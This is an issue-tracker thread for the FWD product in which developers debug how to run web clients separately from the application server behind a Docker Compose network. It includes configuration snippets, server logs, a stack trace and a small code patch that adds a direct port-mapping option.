Support #9709
Needed: Basic example of configuring separate client and server
90%
Related issues
History
#1 Updated by Roger Borrello over 1 year ago
We need a basic example of configuration so that we can have client support on a different server than the server support. This can be done in Hotel, since the concept would certainly work for ChUI, as well. Basically, fwddev1 is where you would ssh to so that you could run client-terminal.sh with a destination server of fwddev2.
#2 Updated by Roger Borrello over 1 year ago
Then, for Hotel GUI, we'd want to be able access http://fwddev1:7443/gui and the server/database would be fwddev2.
#3 Updated by Greg Shah over 1 year ago
A separate system on which clients can be run is just one that:
- Has all the installation/setup as documented in Client Installation.
- Does NOT have anything exclusively needed by Application Server Installation. In other words, there is no FWD server on that system and all the crud from the FWD server is not installed or setup.
- If you need spawning on that client system (e.g. web clients or appserver agents or batch processes) then follow the instructions in Remote Launchers.
I think that is all there is to do. If you find something confusing or missing, ask.
#4 Updated by Roger Borrello about 1 year ago
Greg Shah wrote:
A separate system on which clients can be run is just one that:
- Has all the installation/setup as documented in Client Installation.
- Does NOT have anything exclusively needed by Application Server Installation. In other words, there is no FWD server on that system and all the crud from the FWD server is not installed or setup.
- If you need spawning on that client system (e.g. web clients or appserver agents or batch processes) then follow the instructions in Remote Launchers.
I think that is all there is to do. If you find something confusing or missing, ask.
I setup Hotel to run in my VM (fwddev2 or 192.168.1.195). The directory.xml has the IP address of the VM instead of localhost. When I access http://fwddev2:8443/chui, the sign-on screen appears, but then the javascript dies indicating:
The webpage at https://192.168.1.195:8449/index.html?token=71b0cf2796774859054e89939c809124 might be temporarily down or it may have moved permanently to a new web address.
I look at the spawner process on the server and see /opt/spawner/spawn 0 3333 localhost standard bb9d5dec-cbc3-45fd-b3da-5ba686b3c541 net:socket:nio=false net:ssl:trackSeqNo=false fwd "" /opt/hotel/client java -Xmx512m .... Shouldn't the localhost be the IP address of the server? I also see that in the fwd_client_base_crash_20250630_154256.log log file shows CLIENT_IP = '192.168.1.137', which is the IP address of the host I was using to access the server. That seems to confirm that localhost is resolved as my host's IP address.
In Spawner Setup and Configuration it mentions <host>, but there is no reference to where this is configured in the directory that I can find.
#5 Updated by Greg Shah about 1 year ago
Sergey: Please review and answer the questions.
#6 Updated by Sergey Ivanovskiy about 1 year ago
It seems that the host name should be given by host under webClient node:
<node class="container" name="webClient">
......................................
<node class="string" name="host">
<node-attribute name="value" value="192.168.1.137"/>
</node>
......................................
</node>
The value of the host depends on the vm network type that is how the application running on this vm can be accessed.
#7 Updated by Sergey Ivanovskiy about 1 year ago
If the host name can be resolved to ip address on this vm, then the configuration can be
<node class="container" name="webClient">
......................................
<node class="string" name="host">
<node-attribute name="value" value="fwddev2"/>
</node>
......................................
</node>
#8 Updated by Roger Borrello about 1 year ago
- File fwd_server_20250701_083635_0_0.log
added - File fwd_client_base_crash_20250701_083925.log
added
Sergey Ivanovskiy wrote:
It seems that the host name should be given by
hostunderwebClientnode:
[...]
The value of the host depends on the vm network type that is how the application running on this vm can be accessed.
I do have the host under webClient in the directory. The IP address is 192.168.1.195, not 192.a68.1.137.
192.168.1.137is my laptop and the only thing I am using it for is the browser to get tohttp://192.168.1.195:8443192.168.1.195is the VM that is running amgmtcreated server to host the Docker containers.
hotel_dbthe postgres image which listens on port 5432 to handle database requests. This has IP172.18.0.2hotel_serverthe hotel image which listens on port 8443 to handle server requests. This has IP172.18.0.3. All the exposed ports are:- 8443:8443 - The admin port, as mentioned
- 8449-8459:8449-8459 - The client port range
- 3333:3333 - The secure port
- 3433:3433 - The insecure port
- 4202:22 - The ssh port (must be exposed as something other than 22, since the host uses it)
The IP addresses assigned to the containers are for their own internal network. They are not used externally.
The server log is attached, but just to note when jetty starts up and the web client connects:
25/07/01 08:36:46.772-0400 | INFO | org.eclipse.jetty.util.log | ThreadName:main, ThreadId:00000003, User:standard | Logging initialized @13996ms to org.eclipse.jetty.util.log.Slf4jLog
25/07/01 08:36:47.201-0400 | INFO | org.eclipse.jetty.server.Server | ThreadName:main, ThreadId:00000003, User:standard | jetty-9.4.54.v20240208; built: 2024-02-08T19:42:39.027Z; git: cef3fbd6d736a21e7d541a5db490381d95a2047d; jvm 17.0.14+7-Ubuntu-122.04.1
25/07/01 08:36:47.372-0400 | INFO | org.eclipse.jetty.webapp.StandardDescriptorProcessor | ThreadName:main, ThreadId:00000003, User:standard | NO JSP Support for /admin, did not find org.eclipse.jetty.jsp.JettyJspServlet
25/07/01 08:36:47.380-0400 | INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | DefaultSessionIdManager workerName=node0
25/07/01 08:36:47.381-0400 | INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | No SessionScavenger set, using defaults
25/07/01 08:36:47.382-0400 | INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | node0 Scavenging every 660000ms
25/07/01 08:36:47.418-0400 | INFO | org.eclipse.jetty.server.handler.ContextHandler | ThreadName:main, ThreadId:00000003, User:standard | Started o.e.j.w.WebAppContext@5e83badc{/admin,jar:file:/opt/fwd-deploy/convert/build/lib/p2j.jar!/com/goldencode/p2j/admin,AVAILABLE}{adminapp}
25/07/01 08:36:47.446-0400 | INFO | org.eclipse.jetty.server.AbstractConnector | ThreadName:main, ThreadId:00000003, User:standard | Started ServerConnector@5ffaac1f{SSL, (ssl, http/1.1)}{0.0.0.0:8443}
25/07/01 08:36:47.446-0400 | INFO | org.eclipse.jetty.server.Server | ThreadName:main, ThreadId:00000003, User:standard | Started @14670ms
25/07/01 08:36:47.447-0400 | INFO | com.goldencode.p2j.web.GenericWebServer [GenericWebServer.startup] | ThreadName:main, ThreadId:00000003, User:standard | Server URL: https://172.18.0.3:8443/
25/07/01 08:36:47.447-0400 | INFO | com.goldencode.p2j.web.GenericWebServer | ThreadName:main, ThreadId:00000003, User:standard | SSL provider: <default>
25/07/01 08:36:47.453-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | INSECURE sockets in use!
25/07/01 08:36:47.455-0400 | INFO | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | Server ready
25/07/01 08:37:21.284-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp239541487-58 | not available host:port localhost/127.0.0.1:8449.
25/07/01 08:37:26.292-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp239541487-58 | Returns the redirect url https://192.168.1.195:8449/index.html?token=47caab99869801e5e4c65d98cfab32c4 as response to ChUI client.
The redirect url seems to be returned fine, but yet below shows in the browser:
The webpage at https://192.168.1.195:8449/index.html?token=47caab99869801e5e4c65d98cfab32c4 might be temporarily down or it may have moved permanently to a new web address.
My goal here is to be able to configure with a separate client image that would service the web clients, but I wanted to start simple, and include all that function in the hotel_server, so I was really expecting the "CLIENT_IP" to be the IP address of the client, which would be 192.168.1.195, not the IP address of my laptop 192.168.1.137. The client crash log is also attached and is shows handshake errors, so somehow the configuration is wrong, even though all key stores are in the 192.168.1.195's /opt/hotel/client directory.
I am not sure where things are breaking down.
#9 Updated by Sergey Ivanovskiy about 1 year ago
I see that the embedded web server has been started on the host=172.18.0.3 and port = 8443 so the embedded server could complain the different url.
NFO | com.goldencode.p2j.web.GenericWebServer [GenericWebServer.startup] | ThreadName:main, ThreadId:00000003, User:standard | Server URL: https://172.18.0.3:8443/ 25/07/01 08:36:47.447-0400 | INFO | com.goldencode.p2j.web.GenericWebServer | ThreadName:main, ThreadId:00000003, User:standard | SSL provider: <default> 25/07/01 08:36:47.453-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | INSECURE sockets in use! 25/07/01 08:36:47.455-0400 | INFO | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | Server ready 25/07/01 08:37:21.284-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp239541487-58 | not available host:port localhost/127.0.0.1:8449. 25/07/01 08:37:26.292-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp239541487-58 | Returns the redirect url https://192.168.1.195:8449/index.html?token=47caab99869801e5e4c65d98cfab32c4 as response to ChUI client.
But according to
192.168.1.195 is the VM that is running a mgmt created server to host the Docker containers 192.168.1.195 routes to 172.18.0.3 so the host should be 172.18.0.3.#10 Updated by Sergey Ivanovskiy about 1 year ago
VM works as a proxy server.
#11 Updated by Sergey Ivanovskiy about 1 year ago
Sergey Ivanovskiy wrote:
I see that the embedded web server has been started on the host=172.18.0.3 and port = 8443 so the embedded server could complain the different url.
[...]
But according to192.168.1.195 is the VM that is running a mgmt created server to host the Docker containers192.168.1.195 routes to 172.18.0.3 so the host should be 172.18.0.3.
No, it is not correct. The host seems to be 192.168.1.195. There is another reason that causes this issue.
#12 Updated by Sergey Ivanovskiy about 1 year ago
It seems that we can try the configuration where we set the forward proxy server to 192.168.1.195.
#13 Updated by Sergey Ivanovskiy about 1 year ago
I think that the root cause is that the embeedded web server of the client process should start as host=172.18.0.3 and if we would do this, then the web client url became https://172.18.0.3:8449/index.html?token=47caab99869801e5e4c65d98cfab32c4 that should not work because this ip address is known only to the vm. Thus we need the reverse proxy server configuration but the reverse server configuration maps clients to client prefixes that does not work for your case. We need a configuration that just replace IP adresses and does not map ports to url prefixes.
#14 Updated by Roger Borrello about 1 year ago
The bridged network of Docker has been a challenge to figure out. The "normal" Docker container hasn't been a problem, but using compose to setup an docker network of containers is difficult because within the network, they containers know each other by name (the name of the container) but externally, which is where web clients would come from, have to get to the host, and the port access connects to within a particular container, like the server.
The requirements that led us to this config was the need to be able to load balance a large number of web clients among multiple client images, and the databases would be serviced by multiple postgres containers. I figured getting a "simple" complex configuration would be step one.
I am happy to debug something, or help you setup.
#15 Updated by Sergey Ivanovskiy about 1 year ago
It seems that the code changes is required to setup this case properly. If we start to use the proxy server configuration, then the final url is build from the client prefix and the forward server address. For this case we need the forward server address and the port number, so webRoot should be something like :port/.
The responsible code is that
if (viaProxyServer)
{
StringBuilder webRootBuilder = new StringBuilder();
webRootBuilder.append("/");
webRootBuilder.append(proxyPathSegment);
webRootBuilder.append("/").append(
hostsManager.getPortName(prefix, from, host, webClientConfig.getPort()));
webRoot = webRootBuilder.toString();
}
webClientConfig.setNewClient(uuid, webRoot, osUser, forwardedProto, forwardedHost);
To distinguish this case from the port mapping we can add a flag for this configuration that indicates a direct mapping of the port number to the port number and the forwarded host to the web server host.
#16 Updated by Sergey Ivanovskiy about 1 year ago
- File 9709.patch added
Roger, could you check this patch with your environment. The new directory settings should be
<webClient>
......................................
<node class="string" name="host">
<node-attribute name="value" value="172.18.0.3"/>
</node>
......................................
<node class="container" name="portsRange">
<node class="string" name="forwardedHost">
<node-attribute name="value" value="192.168.1.195"/>
</node>
<node class="string" name="forwardedProto">
<node-attribute name="value" value="https"/>
</node>
<node class="boolean" name="directPortMapping">
<node-attribute name="value" value="true"/>
</node>
<node class="integer" name="from">
<node-attribute name="value" value="8449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="8459"/>
</node>
</node>
....................
</webClient>
#17 Updated by Roger Borrello about 1 year ago
Sergey Ivanovskiy wrote:
Roger, could you check this patch with your environment. The new directory settings should be
Thank you for the quick turnaround. To test, I'll have to build Docker images with the patch, and I have a couple of other things in front of it. I should get to it today, though.
#18 Updated by Roger Borrello about 1 year ago
Sergey Ivanovskiy wrote:
Roger, could you check this patch with your environment. The new directory settings should be
Should the below be removed?
<node class="string" name="namePrefix">
<node-attribute name="value" value="client"/>
</node>
#19 Updated by Roger Borrello about 1 year ago
I get: "The spawn process failed with 0 error. Please see spawner logs." I don't see any logs. What can I add to increase the logging for the spawner? I just want to make sure your change is fine, and not the Docker setup itself.
The server log has the below at the bottom:
25/07/03 07:47:09.646-0400 | INFO | org.eclipse.jetty.util.log | ThreadName:main, ThreadId:00000003, User:standard | Logging initialized @14993ms to org.eclipse.jetty.util.log.Slf4jLog
25/07/03 07:47:10.016-0400 | INFO | org.eclipse.jetty.server.Server | ThreadName:main, ThreadId:00000003, User:standard | jetty-9.4.57.v20241219; built: 2025-01-08T21:24:30.412Z; git: df524e6b29271c2e09ba9aea83c18dc9db464a31; jvm 17.0.15+6-Ubuntu-0ubuntu122.04
25/07/03 07:47:10.149-0400 | INFO | org.eclipse.jetty.webapp.StandardDescriptorProcessor | ThreadName:main, ThreadId:00000003, User:standard | NO JSP Support for /admin, did not find org.eclipse.jetty.jsp.JettyJspServlet
25/07/03 07:47:10.161-0400 | INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | DefaultSessionIdManager workerName=node0
25/07/03 07:47:10.162-0400 | INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | No SessionScavenger set, using defaults
25/07/03 07:47:10.165-0400 | INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | node0 Scavenging every 660000ms
25/07/03 07:47:10.230-0400 | INFO | org.eclipse.jetty.server.handler.ContextHandler | ThreadName:main, ThreadId:00000003, User:standard | Started o.e.j.w.WebAppContext@1ac32da1{/admin,jar:file:/opt/fwd-deploy/convert/build/lib/p2j.jar!/com/goldencode/p2j/admin,AVAILABLE}{adminapp}
25/07/03 07:47:10.265-0400 | INFO | org.eclipse.jetty.server.AbstractConnector | ThreadName:main, ThreadId:00000003, User:standard | Started ServerConnector@4ae45ff{SSL, (ssl, http/1.1)}{0.0.0.0:8443}
25/07/03 07:47:10.265-0400 | INFO | org.eclipse.jetty.server.Server | ThreadName:main, ThreadId:00000003, User:standard | Started @15613ms
25/07/03 07:47:10.266-0400 | INFO | com.goldencode.p2j.web.GenericWebServer [GenericWebServer.startup] | ThreadName:main, ThreadId:00000003, User:standard | Server URL: https://172.18.0.3:8443/
25/07/03 07:47:10.267-0400 | INFO | com.goldencode.p2j.web.GenericWebServer | ThreadName:main, ThreadId:00000003, User:standard | SSL provider: <default>
25/07/03 07:47:10.276-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | INSECURE sockets in use!
25/07/03 07:47:10.281-0400 | INFO | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | Server ready
25/07/03 07:47:46.635-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1786416670-58 | not available host:port localhost/127.0.0.1:8449.
#20 Updated by Sergey Ivanovskiy about 1 year ago
- File deleted (
9709.patch)
#21 Updated by Sergey Ivanovskiy about 1 year ago
- File 9709.patch
added - File directory.xml
added
Roger, sorry for my incorrect patch. It can be checked with simple configuration using Hotel Gui. Now I am sure that this version should work properly. I added Hotel Gui directory.xml that was used to check these changes.
If you approve this version, then we can create new task branch and follow the test and review procedure.
#22 Updated by Roger Borrello about 1 year ago
- File fwd_server_20250707_183526_0_0.log
added - File directory.xml
added - File fwd_client_base_crash_20250707_183800.log
added
Sergey Ivanovskiy wrote:
Roger, sorry for my incorrect patch. It can be checked with simple configuration using Hotel Gui. Now I am sure that this version should work properly. I added Hotel Gui directory.xml that was used to check these changes.
If you approve this version, then we can create new task branch and follow the test and review procedure.
I have been testing with Hotel ChUI. I think I matched up the differences between GUI and ChUI.
I received the negotiation error below, and 192.168.1.195 refused to connect.:
25/07/07 18:36:00.486-0400 | INFO | org.eclipse.jetty.util.ssl.SslContextFactory | PID:501, ThreadName:main | x509=X509@6c8bca63(standard,h=[localhost],a=[],w=[]) for Server@a202ccb[provider=Conscrypt,keyStore=null,trustStore=null] 25/07/07 18:36:00.486-0400 | INFO | org.eclipse.jetty.util.ssl.SslContextFactory | PID:501, ThreadName:main | Unable to get KeyManagerFactory instance for algorithm [SunX509] on provider [Conscrypt], using default 25/07/07 18:36:00.486-0400 | FINE | org.eclipse.jetty.util.ssl.SslContextFactory | PID:501, ThreadName:main | java.security.NoSuchAlgorithmException: no such algorithm: SunX509 for provider Conscrypt
I'm not sure if I'm closer, or further away.
#23 Updated by Sergey Ivanovskiy about 1 year ago
I found in this server log
https://192.168.1.195/proxy/client11/index.html?token=296e8ed83b1db57f8a5e5b586d6a1e37
that means that you used another sources to build the tested binaries.
#24 Updated by Sergey Ivanovskiy about 1 year ago
Although your directory changes are correct
<node class="container" name="portsRange">
<node class="string" name="forwardedHost">
<node-attribute name="value" value="192.168.1.195"/>
</node>
<node class="string" name="forwardedProto">
<node-attribute name="value" value="https"/>
</node>
<node class="boolean" name="directPortMapping">
<node-attribute name="value" value="TRUE"/>
</node>
<node class="string" name="namePrefix">
<node-attribute name="value" value="client"/>
</node>
<node class="integer" name="from">
<node-attribute name="value" value="8449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="8459"/>
</node>
</node>
I created 9709a rev 16029 that should help to deploy these changes.
#25 Updated by Sergey Ivanovskiy about 1 year ago
In the committed version 9709a rev 16029 I just found that these settings are provided incorrectly
'loginPage' : 'https://192.168.1.41/gui',
'logoutPage': 'https://192.168.1.41/gui/logout',
but Hotel Gui with sso authentication plugin works properly. This part needs to be fixed. The code is spread between classes that complicates doing changes.
#26 Updated by Sergey Ivanovskiy about 1 year ago
login and logout urls are added by request handler too early before the client url is built
WebDriverHandler.addUrlsToOptions(List<String>, WebDriverRequestParameters, WebDriverType) line: 1533 VirtualDesktopWebHandler(WebDriverHandler).handleStartClientRequest(Request, HttpServletRequest, HttpServletResponse, boolean, WebDriverType) line: 618 VirtualDesktopWebHandler.handle(String, Request, HttpServletRequest, HttpServletResponse) line: 197 HandlerCollection.handle(String, Request, HttpServletRequest, HttpServletResponse) line: 146 Server(HandlerWrapper).handle(String, Request, HttpServletRequest, HttpServletResponse) line: 127 Server.handle(HttpChannel) line: 516 HttpChannelOverHttp(HttpChannel).lambda$handle$1() line: 487 1543104814.dispatch() line: not available HttpChannelOverHttp(HttpChannel).dispatch(DispatcherType, HttpChannel$Dispatchable) line: 732 HttpChannelOverHttp(HttpChannel).handle() line: 479 HttpConnection.onFillable() line: 277 AbstractConnection$ReadCallback.succeeded() line: 311 AbstractEndPoint$1(FillInterest).fillable() line: 105 SslConnection$DecryptedEndPoint.onFillable() line: 555 SslConnection.onFillable() line: 410 SslConnection$2.succeeded() line: 164 AbstractEndPoint$1(FillInterest).fillable() line: 105 ChannelEndPoint$1.run() line: 104 EatWhatYouKill.runTask(Runnable) line: 338 EatWhatYouKill.doProduce(boolean) line: 315 EatWhatYouKill.tryProduce(boolean) line: 173 EatWhatYouKill.run() line: 131 ReservedThreadExecutor$ReservedThread.run() line: 409 QueuedThreadPool.runJob(Runnable) line: 883 QueuedThreadPool$Runner.run() line: 1034 Thread.run() line: 750
#27 Updated by Roger Borrello about 1 year ago
Sergey Ivanovskiy wrote:
I found in this server log
[...]
that means that you used another sources to build the tested binaries.
I patched trunk_16020 revision, which is what I converted with. I will use your new 9709a branch from now on.
Sergey, can you describe the issue that we are working on with some basic language? I created this Redmine task because I could not determine how to configure <server computer> --> <client computer> from the existing documents so that I could create a docker compose environment. You have determined something is wrong in FWD that prevents this configuration, and I would like to make sure that description is in this task.
#28 Updated by Sergey Ivanovskiy about 1 year ago
Yes, we discussed the configuration where the virtual machine is used like a proxy server that redirect external port to internal docker instances, correct?
Please try this version revision 16030 (9709a). I did not plan to change the code and this should work for your case.
#29 Updated by Roger Borrello about 1 year ago
Sergey Ivanovskiy wrote:
Yes, we discussed the configuration where the virtual machine is used like a proxy server that redirect external port to internal docker instances, correct?
Thank you. I suppose this is the case for all Docker compose because there is an "internal" network that the Docker environment creates. It is very easy to create a 3 computer network using Docker compose... A database server, a "server" server, and a "client" server. The intention is that we could spread a large number of web clients across multiple "client" servers to balance the load.
Please try this version revision 16030 (9709a). I did not plan to change the code and this should work for your case.
I am creating Docker images for this right now.
#30 Updated by Roger Borrello about 1 year ago
- File fwd_client_base_crash_20250708_105841.log
added
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Yes, we discussed the configuration where the virtual machine is used like a proxy server that redirect external port to internal docker instances, correct?
Thank you. I suppose this is the case for all Docker compose because there is an "internal" network that the Docker environment creates. It is very easy to create a 3 computer network using Docker compose... A database server, a "server" server, and a "client" server. The intention is that we could spread a large number of web clients across multiple "client" servers to balance the load.
Please try this version revision 16030 (9709a). I did not plan to change the code and this should work for your case.
I am creating Docker images for this right now.
Sergey, I am using the new branch and am back having this response to my https://fwddev2:8443/chui request:
The webpage at https://192.168.1.195:8449/index.html?token=895b7769917a820517fcb8c1ca0fbbf1 might be temporarily down or it may have moved permanently to a new web address.
The server log indicates:
25/07/08 10:56:26.538-0400 | WARNING | org.eclipse.jetty.server.handler.ContextHandler.admin | ThreadName:qtp1608905456-74 | Exception while dispatching incoming RPC call
com.google.gwt.user.server.rpc.UnexpectedException: Service method 'public abstract int com.goldencode.p2j.admin.shared.AuthService.login(java.lang.String,java.lang.String)' threw an unexpected exception: java.lang.NullPointerException: Cannot invoke "com.goldencode.p2j.net.Session.registerSynchronizer(com.goldencode.p2j.net.StateSynchronizer)" because "session" is null
at com.google.gwt.user.server.rpc.RPC.encodeResponseForFailure(RPC.java:416)
at com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse(RPC.java:605)
at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall(RemoteServiceServlet.java:349)
at com.google.gwt.user.server.rpc.RemoteServiceServlet.processCall(RemoteServiceServlet.java:319)
at com.google.gwt.user.server.rpc.RemoteServiceServlet.processPost(RemoteServiceServlet.java:389)
at com.google.gwt.user.server.rpc.AbstractRemoteServiceServlet.doPost(AbstractRemoteServiceServlet.java:62)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:707)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:799)
at org.eclipse.jetty.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1656)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:552)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:600)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)
at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1624)
at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1440)
at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:505)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1594)
at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1355)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.eclipse.jetty.server.handler.HandlerList.handle(HandlerList.java:59)
at org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:146)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127)
at org.eclipse.jetty.server.Server.handle(Server.java:516)
at org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:487)
at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:732)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:479)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:277)
at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
at org.eclipse.jetty.io.ssl.SslConnection$DecryptedEndPoint.onFillable(SslConnection.java:555)
at org.eclipse.jetty.io.ssl.SslConnection.onFillable(SslConnection.java:410)
at org.eclipse.jetty.io.ssl.SslConnection$2.succeeded(SslConnection.java:164)
at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105)
at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104)
at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:338)
at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:315)
at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173)
at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131)
at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034)
at java.base/java.lang.Thread.run(Thread.java:840)
Caused by: java.lang.NullPointerException: Cannot invoke "com.goldencode.p2j.net.Session.registerSynchronizer(com.goldencode.p2j.net.StateSynchronizer)" because "session" is null
at com.goldencode.p2j.ui.LogicalTerminal.init(LogicalTerminal.java:1707)
at com.goldencode.p2j.security.ContextLocal.initializeValue(ContextLocal.java:733)
at com.goldencode.p2j.security.ContextLocal.getImpl(ContextLocal.java:558)
at com.goldencode.p2j.security.ContextLocal.get(ContextLocal.java:460)
at com.goldencode.p2j.ui.LogicalTerminal.locate(LogicalTerminal.java:12864)
at com.goldencode.p2j.ui.LogicalTerminal.getInstance(LogicalTerminal.java:1679)
at com.goldencode.p2j.util.TransactionManager$ContextContainer.obtain(TransactionManager.java:11694)
at com.goldencode.p2j.util.TransactionManager.getTransactionHelper(TransactionManager.java:1801)
at com.goldencode.p2j.util.ProcedureManager$ContextContainer.obtain(ProcedureManager.java:6611)
at com.goldencode.p2j.util.ProcedureManager.getProcedureHelper(ProcedureManager.java:1140)
at com.goldencode.p2j.util.HandleResource.<init>(HandleResource.java:186)
at com.goldencode.p2j.util.HandleResource.<init>(HandleResource.java:193)
at com.goldencode.p2j.util.LegacyLogManagerImpl.<init>(LegacyLogManagerImpl.java:183)
at com.goldencode.p2j.util.LegacyLogOps.logMgr(LegacyLogOps.java:168)
at com.goldencode.p2j.util.LegacyLogOps.logMgr(LegacyLogOps.java:146)
at com.goldencode.p2j.persist.DatabaseManager.autoConnect(DatabaseManager.java:1120)
at com.goldencode.p2j.admin.AdminServerImpl.setTargetLive(AdminServerImpl.java:311)
at com.goldencode.p2j.admin.AdminServerImpl.setTargetLive(AdminServerImpl.java:282)
at com.goldencode.p2j.admin.server.AuthServiceImpl.login(AuthServiceImpl.java:131)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at com.google.gwt.user.server.rpc.RPC.invokeAndEncodeResponse(RPC.java:587)
... 45 more
25/07/08 10:56:38.253-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1608905456-62 | not available host:port localhost/127.0.0.1:8449.
25/07/08 10:56:42.004-0400 | INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp1608905456-62 | Returns the redirect url https://192.168.1.195:8449/index.html?token=895b7769917a820517fcb8c1ca0fbbf1 as response to ChUI client.
And the client log shows some SSL handshake issues (attached). Is there a look like this is a security issue?
#31 Updated by Sergey Ivanovskiy about 1 year ago
Did you try to test with Java 8?
#32 Updated by Sergey Ivanovskiy about 1 year ago
Roger, please check also with Java 8 the following settings:
<webClient>
......................................
<node class="string" name="host">
<node-attribute name="value" value="localhost"/>
</node>
......................................
<node class="container" name="portsRange">
<node class="string" name="forwardedHost">
<node-attribute name="value" value="192.168.1.195"/>
</node>
<node class="string" name="forwardedProto">
<node-attribute name="value" value="https"/>
</node>
<node class="boolean" name="directPortMapping">
<node-attribute name="value" value="true"/>
</node>
<node class="integer" name="from">
<node-attribute name="value" value="8449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="8459"/>
</node>
</node>
....................
</webClient>
#33 Updated by Roger Borrello about 1 year ago
Sergey Ivanovskiy wrote:
Did you try to test with Java 8?
OK. I will have to build Docker images with Java 8. What are you thinking?
#34 Updated by Sergey Ivanovskiy about 1 year ago
It seems that the client log shows system API issues and there are no reasons to connect these exceptions with 9709a changes but you did not attach the server logs.
#35 Updated by Roger Borrello about 1 year ago
Sergey Ivanovskiy wrote:
It seems that the client log shows system API issues and there are no reasons to connect these exceptions with 9709a changes but you did not attach the server logs.
Apologies... I posted everything after "Server ready".
A twist... When I tried JDK8 it worked! I was able to sign into ChUI via the web... I also had left the directory alone:
<webClient>
......................................
<node class="string" name="host">
<node-attribute name="value" value="172.18.0.3"/>
</node>
......................................
<node class="container" name="portsRange">
<node class="string" name="forwardedHost">
<node-attribute name="value" value="192.168.1.195"/>
</node>
<node class="string" name="forwardedProto">
<node-attribute name="value" value="https"/>
</node>
<node class="boolean" name="directPortMapping">
<node-attribute name="value" value="TRUE"/>
</node>
<node class="string" name="namePrefix">
<node-attribute name="value" value="client"/>
</node>
<node class="integer" name="from">
<node-attribute name="value" value="8449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="8459"/>
</node>
</node>
....................
</webClient>
I went back to the JDK17, and it failed, but worked with localhost in there! So I've tested both JDK8 and JDK17 with localhost, and they both work.
Sergey, I think that's it!
